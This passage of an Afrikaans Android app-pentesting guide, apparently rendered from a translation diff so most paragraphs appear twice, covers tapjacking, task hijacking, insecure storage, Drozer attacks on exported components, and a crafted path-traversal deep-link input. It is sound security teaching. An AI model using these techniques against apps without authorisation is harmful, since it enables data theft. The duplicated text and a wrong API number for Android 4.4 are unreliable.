- **Back-up Instellings**: Die `android:allowBackup="false"` attribuut moet eksplisiet gestel word vir toepassings wat met sensitiewe inligting werk om ongeoorloofde data-back-ups via adb te voorkom, veral wanneer usb-debugging geaktiveer is.
- **Netwerk Sekuriteit**: Pasgemaakte netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
- **Gedeelde Aktiwiteite en Dienste**: Die identifisering van gedeelde aktiwiteite en dienste in die manifest kan komponente uitlig wat misbruik kan word. Verdere analise tydens dinamiese toetsing kan onthul hoe om hierdie komponente te benut.
- **Inhoud Verskaffers en LêerVerskaffers**: Blootgestelde inhoud verskaffers kan ongeoorloofde toegang of wysiging van data toelaat. Die konfigurasie van LêerVerskaffers moet ook ondersoek word.
- **Uitsending Ontvangers en URL Skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesiale aandag aan hoe URL skemas bestuur word vir invoer kwesbaarhede.
- **Uitsaai Ontvangers en URL Skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesifieke aandag aan hoe URL skemas bestuur word vir invoer kwesbaarhede.
- **SDK Weergawes**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` attribuut dui die ondersteunde Android weergawes aan, wat die belangrikheid beklemtoon om nie verouderde, kwesbare Android weergawes vir sekuriteitsredes te ondersteun nie.
Uit die **strings.xml** lêer kan sensitiewe inligting soos API sleutels, pasgemaakte skemas, en ander ontwikkelaar notas ontdek word, wat die behoefte aan sorgvuldige hersiening van hierdie hulpbronne beklemtoon.
### Tapjacking
**Tapjacking** is 'n aanval waar 'n **kwaadwillige** **toepassing** geloods word en **homself bo-op 'n slagoffer toepassing posisioneer**. Sodra dit die slagoffer app sigbaar obscuur, is sy gebruikerskoppelvlak ontwerp om die gebruiker te mislei om met dit te interaksie, terwyl dit die interaksie aan die slagoffer app oorgedra.\
In werklikheid, dit is **blind die gebruiker van kennis dat hulle eintlik aksies op die slagoffer app uitvoer**.
**Tapjacking** is 'n aanval waar 'n **kwaadwillige** **toepassing** gelanseer word en **homself bo-op 'n slagoffer toepassing posisioneer**. Sodra dit die slagoffer app sigbaar obscuur, is sy gebruikerskoppelvlak ontwerp om die gebruiker te mislei om met dit te interaksie, terwyl dit die interaksie aan die slagoffer app oorgedra.\
In werklikheid, dit is **blindings die gebruiker van weet dat hulle eintlik aksies op die slagoffer app uitvoer**.
Vind meer inligting in:
@ -87,9 +87,9 @@ tapjacking.md
### Taak Hijacking
'n **aktiwiteit** met die **`launchMode`** gestel op **`singleTask`** sonder enige `taskAffinity` gedefinieer is kwesbaar vir taak hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing geloods word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**).
'n **aktiwiteit** met die **`launchMode`** gestel op **`singleTask` sonder enige `taskAffinity`** gedefinieer is kwesbaar vir taak hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing gelanseer word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**).
Meer inligting in:
Meer info in:
{{#ref}}
android-task-hijacking.md
@ -99,35 +99,35 @@ android-task-hijacking.md
**Interne Stoor**
In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat dit **gecreëer** het, toeganklik te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toegang** tot lêers tussen verskillende toepassings toe te laat. Tog **beperk** hierdie modi **nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige.
In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat hulle **gecreëer** het, toeganklik te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android-bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toestaan** dat lêers tussen verskillende toepassings **gedeel** word. Tog **beperk** hierdie modi **nie die toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige.
1. **Statiese Analise:**
- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **versigtig ondersoek** word. Hierdie modi **kan potensieel** lêers aan **onbedoelde of ongeoorloofde toegang** blootstel.
- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **versigtig ondersoek** word. Hierdie modi **kan potensieel lêers blootstel** aan **onbedoelde of ongeoorloofde toegang**.
2. **Dinamiese Analise:**
- **Verifieer** die **toestemmings** wat op lêers wat deur die app geskep is, gestel is. Spesifiek, **kyk** of enige lêers **gestel is om wêreldwyd leesbaar of skryfbaar te wees**. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit **enige toepassing** wat op die toestel geïnstalleer is, ongeag sy oorsprong of bedoeling, toelaat om **hierdie lêers te lees of te wysig**.
**Eksterne Stoor**
Wanneer jy met lêers op **eksterne stoor** werk, soos SD Kaarte, moet sekere voorsorgmaatreëls geneem word:
Wanneer jy met lêers op **eksterne stoor** werk, soos SD-kaarte, moet sekere voorsorgmaatreëls geneem word:
1. **Toeganklikheid**:
- Lêers op eksterne stoor is **globaal leesbaar en skryfbaar**. Dit beteken enige toepassing of gebruiker kan toegang tot hierdie lêers verkry.
2. **Sekuriteitskwessies**:
- Gegewe die maklike toegang, word dit aanbeveel **om nie sensitiewe inligting** op eksterne stoor te stoor nie.
- Gegewe die maklike toegang, word dit aanbeveel **om sensitiewe inligting nie op eksterne stoor te stoor nie**.
- Eksterne stoor kan verwyder of deur enige toepassing toeganklik gemaak word, wat dit minder veilig maak.
3. **Hantering van Data van Eksterne Stoor**:
- Voer altyd **invoer validasie** uit op data wat van eksterne stoor verkry is. Dit is van kardinale belang omdat die data van 'n onbetroubare bron kom.
- Dit word sterk ontmoedig om uitvoerbare lêers of klas lêers op eksterne stoor te stoor vir dinamiese laai.
- Dit word sterk ontmoedig om uitvoerbare lêers of klas lêers op eksterne stoor vir dinamiese laai te stoor.
- As jou toepassing uitvoerbare lêers van eksterne stoor moet verkry, verseker dat hierdie lêers **onderteken en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is van kardinale belang om die sekuriteitsintegriteit van jou toepassing te handhaaf.
Eksterne stoor kan **toegang verkry** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!NOTE]
> Begin met Android 4.4 (**API 17**), het die SD kaart 'n gidsstruktuur wat **toegang van 'n app tot die gids wat spesifiek vir daardie app is, beperk**. Dit voorkom dat kwaadwillige toepassings lees- of skryftoegang tot 'n ander app se lêers verkry.
> Begin met Android 4.4 (**API 17**), het die SD-kaart 'n gidsstruktuur wat **toegang van 'n app tot die gids wat spesifiek vir daardie app is, beperk**. Dit voorkom dat kwaadwillige toepassings lees- of skryftoegang tot 'n ander app se lêers verkry.
**Sensitiewe data gestoor in duidelike teks**
- **Gedeelde voorkeure**: Android laat elke toepassing toe om maklik xml lêers in die pad `/data/data/<packagename>/shared_prefs/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
- **Gedeelde voorkeure**: Android laat elke toepassing toe om maklik xml-lêers in die pad `/data/data/<packagename>/shared_prefs/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
- **Databasisse**: Android laat elke toepassing toe om maklik sqlite databasisse in die pad `/data/data/<packagename>/databases/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
### Gebroke TLS
@ -145,18 +145,18 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
**Swak Sleutelbestuurproses**
Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en enkripteer dit met 'n sleutel wat hardgecodeer/voorspelbaar in die kode is. Dit moet nie gedoen word nie, aangesien sommige omgekeerde ingenieurswese aanvallers kan toelaat om die vertroulike inligting te onttrek.
Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en enkripteer dit met 'n sleutel wat in die kode hardgecodeer/voorspelbaar is. Dit moet nie gedoen word nie, aangesien sommige omgekeerde ingenieurswese aanvallers kan toelaat om die vertroulike inligting te onttrek.
**Gebruik van Onveilige en/of Verouderde Algoritmes**
Ontwikkelaars moet nie **verouderde algoritmes** gebruik om **outorisering** **kontroles** uit te voer, **data** te **stoor** of **te stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** gebruik word om wagwoorde te stoor, moet hashes wat **brute-force** **bestand** is, met sout gebruik word.
Ontwikkelaars moet nie **verouderde algoritmes** gebruik om autorisasie **kontroles** uit te voer, **data** te **stoor** of **te stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** gebruik word om wagwoorde te stoor, moet hashes wat teen brute-force **weerstandig** is, met sout gebruik word.
### Ander kontroles
- Dit word aanbeveel om die **APK te obfuskeer** om die omgekeerde ingenieurswese vir aanvallers moeilik te maak.
- Dit word aanbeveel om die **APK te obfuskeer** om die omgekeerde ingenieurswerk vir aanvallers moeilik te maak.
- As die app sensitief is (soos bankapps), moet dit sy **eie kontroles uitvoer om te sien of die mobiele toestel ge-root is** en dienooreenkomstig optree.
- As die app sensitief is (soos bankapps), moet dit kyk of 'n **emulator** gebruik word.
- As die app sensitief is (soos bankapps), moet dit **sy eie integriteit nagaan voordat dit uitgevoer word** om te kyk of dit gewysig is.
- As die app sensitief is (soos bankapps), moet dit nagaan of 'n **emulator** gebruik word.
- As die app sensitief is (soos bankapps), moet dit **sy eie integriteit nagaan voordat dit uitgevoer** word om te kyk of dit gewysig is.
- Gebruik [**APKiD**](https://github.com/rednaga/APKiD) om te kyk watter kompilator/pakker/obfuskeerder gebruik is om die APK te bou.
### React Native Toepassing
@ -181,7 +181,7 @@ Volgens hierdie [**blogpos**](https://clearbluejar.github.io/posts/desuperpackin
### Geoutomatiseerde Statiese Kode Analise
Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **skandeer**. Hierdie hulpmiddel bevat 'n reeks **bekende bronne** (wat aan die hulpmiddel die **plekke** aandui waar die **invoer** deur die gebruiker **beheer** word), **sinks** (wat aan die hulpmiddel **gevaarlike** **plekke** aandui waar kwaadwillige gebruikersinvoer skade kan aanrig) en **reëls**. Hierdie reëls dui die **kombinasie** van **bronne-sinks** aan wat 'n kwesbaarheid aandui.
Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **skandeer**. Hierdie hulpmiddel bevat 'n reeks **bekende bronne** (wat aan die hulpmiddel die **plekke** aandui waar die **invoer** deur die gebruiker **beheer** word), **sinkholes** (wat aan die hulpmiddel **gevaarlike** **plekke** aandui waar kwaadwillige gebruikersinvoer skade kan aanrig) en **reëls**. Hierdie reëls dui die **kombinasie** van **bronne-sinkholes** aan wat 'n kwesbaarheid aandui.
Met hierdie kennis, **sal mariana-trench die kode hersien en moontlike kwesbaarhede daarin vind**.
@ -189,7 +189,7 @@ Met hierdie kennis, **sal mariana-trench die kode hersien en moontlike kwesbaarh
'n Toepassing kan geheime (API-sleutels, wagwoorde, verborge URL's, subdomeine...) daarin bevat wat jy dalk kan ontdek. Jy kan 'n hulpmiddel soos [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gebruik.
### Om Biometriese Outorisering te Omseil
### Om Biometriese Verifikasie te Omseil
{{#ref}}
bypass-biometric-authentication-android.md
@ -199,7 +199,7 @@ bypass-biometric-authentication-android.md
- **Kode-uitvoering**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Stuur SMS's**: `sendTextMessage, sendMultipartTestMessage`
- **Inheemse funksies** wat as `native` verklaar is: `public native, System.loadLibrary, System.load`
- **Inheemse funksies** verklaar as `native`: `public native, System.loadLibrary, System.load`
- [Lees dit om te leer **hoe om inheemse funksies om te keer**](reversing-native-libraries.md)
### **Ander truuks**
@ -220,11 +220,11 @@ content-protocol.md
Jy kan 'n **gratis rekening** aanmeld by: [https://appetize.io/](https://appetize.io). Hierdie platform laat jou toe om **APK's op te laai** en **uit te voer**, so dit is nuttig om te sien hoe 'n apk optree.
Jy kan selfs **die logs van jou toepassing** op die web sien en deur **adb** aansluit.
Jy kan selfs **die logs van jou toepassing** op die web sien en deur **adb** verbind.
![](<../../images/image (831).png>)
Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators gebruik.
Danksy die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators gebruik.
### Plaaslike Dinamiese Analise
@ -237,7 +237,7 @@ Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening aanmeld. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** af te laai om potensiële foute te vermy._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening aanmeld. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** te **aflaai** om potensiële foute te vermy._)
- [**Nox**](https://es.bignox.com) (Gratis, maar dit ondersteun nie Frida of Drozer nie).
> [!NOTE]
@ -247,7 +247,7 @@ Om **google dienste** (soos AppStore) in Genymotion te installeer, moet jy op di
![](<../../images/image (277).png>)
Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM wil koppel vanaf 'n ander VM met die hulpmiddels).
Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM van 'n ander VM met die hulpmiddels gaan verbind).
#### Gebruik 'n fisiese toestel
@ -266,25 +266,25 @@ Jy moet die **debugging** opsies aktiveer en dit sal goed wees as jy dit kan **r
**Logging**
Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** is verkies vir sy gebruiksgemak en leesbaarheid.
Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid.
> [!WARNING]
> Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang tot hul eie logs kan **. So toepassings kan nie ander apps se logs toegang nie.\
> Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang tot hul eie logs kan verkry**. So toepassings kan nie ander apps se logs toegang nie.\
> Dit word steeds aanbeveel om **nie sensitiewe inligting te log nie**.
**Kopie/Plak Buffer Kaping**
Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in apps in, maar dit stel 'n risiko in omdat **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is van kardinale belang om **kopie/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom.
Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in apps in, maar dit stel 'n risiko in omdat **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is belangrik om **kopie/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom.
**Crash Logs**
As 'n toepassing **crash** en **logs** stoor, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om te log op crashes, en as logs oor die netwerk oorgedra moet word, moet jy verseker dat dit via 'n SSL-kanaal vir sekuriteit gestuur word.
As 'n toepassing **crash** en **logs stoor**, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om logs op crashes te log, en as logs oor die netwerk oorgedra moet word, moet jy seker maak dat dit via 'n SSL-kanaal vir sekuriteit gestuur word.
As pentester, **probeer om na hierdie logs te kyk**.
**Analytiese Data Gestuur Aan 3de Partye**
**Analitiese Data Gestuur Aan 3de Partye**
Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om die **toepassing se verkeer te onderskep** en te kyk vir enige sensitiewe inligting wat aan derdeparty dienste gestuur word.
Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om die **toepassing se verkeer te onderskep** en na enige sensitiewe inligting te kyk wat aan derdeparty dienste gestuur word.
### SQLite DB's
@ -293,11 +293,11 @@ Databasisse moet geleë wees in `/data/data/the.package.name/databases` soos `/d
As die databasis vertroulike inligting stoor en is **geënkripteer** maar jy kan die **wagwoord** binne die toepassing vind, is dit steeds 'n **kwesbaarheid**.
Lys die tabelle met `.tables` en lys die kolomme van die tabelle met `.schema <table_name>`.
Enumerate die tabelle met `.tables` en enumerate die kolomme van die tabelle met `.schema <table_name>`.
### Drozer (Eksploiteer Aktiwiteite, Inhoudverskaffers en Dienste)
Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om die rol van 'n Android-app aan te neem en met ander apps te kommunikeer. Dit kan **enigiets doen wat 'n geïnstalleerde toepassing kan doen**, soos om gebruik te maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel te kommunikeer.\
Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om die rol van 'n Android-app aan te neem en met ander apps te kommunikeer. Dit kan **enigiets doen wat 'n geïnstalleerde toepassing kan doen**, soos om gebruik te maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel te kommunikeer. .\
Drozer is 'n nuttige hulpmiddel om **geëksporteerde aktiwiteite, geëksporteerde dienste en Inhoudverskaffers** te **eksploiteer** soos jy in die volgende afdelings sal leer.
### Eksploiteer geëksporteerde Aktiwiteite
@ -305,9 +305,9 @@ Drozer is 'n nuttige hulpmiddel om **geëksporteerde aktiwiteite, geëksporteerd
[**Lees dit as jy wil verfris wat 'n Android Aktiwiteit is.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Onthou ook dat die kode van 'n aktiwiteit begin in die **`onCreate`** metode.
**Outorisering omseiling**
**Autorisasie omseiling**
Wanneer 'n Aktiwiteit geëksporteer word, kan jy sy skerm vanaf 'n eksterne app aanroep. Daarom, as 'n aktiwiteit met **sensitiewe inligting** **geëksporteer** is, kan jy die **outorisering** meganismes **omseil** om toegang daartoe te verkry.
Wanneer 'n Aktiwiteit geëksporteer word, kan jy sy skerm vanaf 'n eksterne app aanroep. Daarom, as 'n aktiwiteit met **sensitiewe inligting** **geëksporteer** is, kan jy die **authentikasie** meganismes **omseil** om toegang daartoe te verkry.
[**Leer hoe om geëksporteerde aktiwiteite met Drozer te eksploiteer.**](drozer-tutorial/index.html#activities)
@ -318,46 +318,46 @@ Jy kan ook 'n geëksporteerde aktiwiteit vanaf adb begin:
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOTE**: MobSF sal die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n aktiwiteit as kwaadwillig beskou, maar weens [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), blyk dit dat dit slegs gevaarlik is op ou weergawes (API weergawes < 21).
**NOTE**: MobSF sal die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n aktiwiteit as kwaadwillig beskou, maar weens [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), blyk dit dat dit slegs gevaarlik is op ouer weergawes (API weergawes < 21).
> [!NOTE]
> Let daarop dat 'n magtiging omseiling nie altyd 'n kwesbaarheid is nie, dit sal afhang van hoe die omseiling werk en watter inligting blootgestel word.
**Sensitiewe inligting lekkasie**
**Aktiwiteite kan ook resultate teruggee**. As jy daarin slaag om 'n uitgevoerde en onbeveiligde aktiwiteit te vind wat die **`setResult`** metode aanroep en **sensitiewe inligting teruggee**, is daar 'n sensitiewe inligting lekkasie.
**Aktiwiteite kan ook resultate teruggee**. As jy daarin slaag om 'n geexporteerde en onbeveiligde aktiwiteit te vind wat die **`setResult`** metode aanroep en **sensitiewe inligting teruggee**, is daar 'n sensitiewe inligting lekkasie.
#### Tapjacking
As tapjacking nie voorkom word nie, kan jy die uitgevoerde aktiwiteit misbruik om die **gebruiker onverwachte aksies** te laat uitvoer. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](#tapjacking).
As tapjacking nie voorkom word nie, kan jy die geexporteerde aktiwiteit misbruik om die **gebruiker onverwachte aksies** te laat uitvoer. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](#tapjacking).
### Exploiting Content Providers - Toegang tot en manipulasie van sensitiewe inligting
[**Lees dit as jy wil opfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\
Inhoudverskaffers word basies gebruik om **data** te **deel**. As 'n app beskikbare inhoudverskaffers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL-inspuitings** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees.
Content providers word basies gebruik om **data** te **deel**. As 'n app beskikbare content providers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL injections** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees.
[**Leer hoe om Content Providers met Drozer te benut.**](drozer-tutorial/index.html#content-providers)
[**Leer hoe om Content Providers met Drozer te exploiteer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
[**Lees dit as jy wil opfris wat 'n Service is.**](android-applications-basics.md#services)\
Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`.
'n Diens is basies iets wat **data kan ontvang**, dit **verwerk** en **gee** (of nie) 'n antwoord terug. As 'n toepassing sekere dienste uitvoer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\
[**Leer hoe om Dienste met Drozer te benut.**](drozer-tutorial/index.html#services)
'n Service is basies iets wat **data kan ontvang**, dit **verwerk** en **gee** (of nie) 'n antwoord terug. As 'n toepassing sekere dienste exporteer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\
[**Leer hoe om Services met Drozer te exploiteer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
[**Lees dit as jy wil opfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\
Onthou dat die aksies van 'n Broadcast Receiver begin in die metode `onReceive`.
'n Uitzendingontvanger sal wag vir 'n tipe boodskap. Afhangende van hoe die ontvanger die boodskap hanteer, kan dit kwesbaar wees.\
[**Leer hoe om Uitzendingontvangers met Drozer te benut.**](#exploiting-broadcast-receivers)
'n Broadcast receiver sal wag vir 'n tipe boodskap. Afhangende van hoe die receiver die boodskap hanteer, kan dit kwesbaar wees.\
[**Leer hoe om Broadcast Receivers met Drozer te exploiteer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
Jy kan handmatig na diep skakels soek, met behulp van gereedskap soos MobSF of skripte soos [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Jy kan 'n verklaarde **skema** met **adb** of 'n **blaaier** **oopmaak**:
Jy kan handmatig na deep links soek, met behulp van gereedskap soos MobSF of skripte soos [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Jy kan 'n verklaarde **scheme** met **adb** of 'n **blaaier** **oopmaak**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
@ -376,11 +376,11 @@ Om die **kode wat in die App uitgevoer sal word** te vind, gaan na die aktiwitei
**Sensitiewe inligting**
Elke keer as jy 'n diep skakel vind, moet jy seker maak dat dit **nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie**, want enige ander toepassing kan **die diep skakel naboots en daardie data steel!**
Elke keer as jy 'n diep link vind, moet jy seker maak dat **dit nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie**, want enige ander toepassing kan **die diep link naboots en daardie data steel!**
**Parameters in pad**
Jy **moet ook kyk of enige diep skakel 'n parameter binne die pad** van die URL gebruik, soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n pad traversie afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` te benader.\
Jy **moet ook kyk of enige diep link 'n parameter binne die pad** van die URL gebruik, soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n pad traversie afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` te benader.\
Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk 'n **Open Redirect** kan veroorsaak (as 'n deel van die pad as domeinnaam gebruik word), **rekening oorname** (as jy gebruikersbesonderhede kan wysig sonder 'n CSRF-token en die kwesbare eindpunt die korrekte metode gebruik) en enige ander kwesbaarheid. Meer [inligting hieroor](http://dphoeniixx.com/2020/12/13-2/).
**Meer voorbeelde**
@ -390,12 +390,12 @@ Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk '
### Vervoer Laag Inspeksie en Verifikasie Foute
- **Sertifikate word nie altyd behoorlik ondersoek nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings oorsien en self-onderteken sertifikate aanvaar of, in sommige gevalle, terugkeer na die gebruik van HTTP-verbindinge.
- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat dit moontlik maak vir aanvallers om die data te ontsleutel.
- **Lek van private inligting** is 'n risiko wanneer toepassings met veilige kanale autentiseer, maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering beskerm nie sensitiewe data, soos sessiekookies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite nie.
- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat aanvallers in staat stel om die data te ontsleutel.
- **Lek van private inligting** is 'n risiko wanneer toepassings verifieer deur veilige kanale maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering beskerm nie sensitiewe data, soos sessiekoekies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite nie.
#### Sertifikaat Verifikasie
Ons sal fokus op **sertifikaat verifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is van kardinale belang omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor nie-geënkripteerde kanale beduidende risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bedienersertifikate en die aanspreek van kwesbaarhede, bied [**hierdie hulpbron**](https://manifestsecurity.com/android-application-security-part-10/) omvattende leiding.
Ons sal fokus op **sertifikaat verifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is van kardinale belang omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor nie-geënkripteerde kanale beduidende risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bedienersertifikate en die aanspreek van kwesbaarhede, [**hierdie hulpbron**](https://manifestsecurity.com/android-application-security-part-10/) bied omvattende leiding.
#### SSL Pinning
@ -403,9 +403,9 @@ SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se serti
#### Verkeer Inspeksie
Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy-gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geënkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n aangepaste CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geënkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n pasgemaakte CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
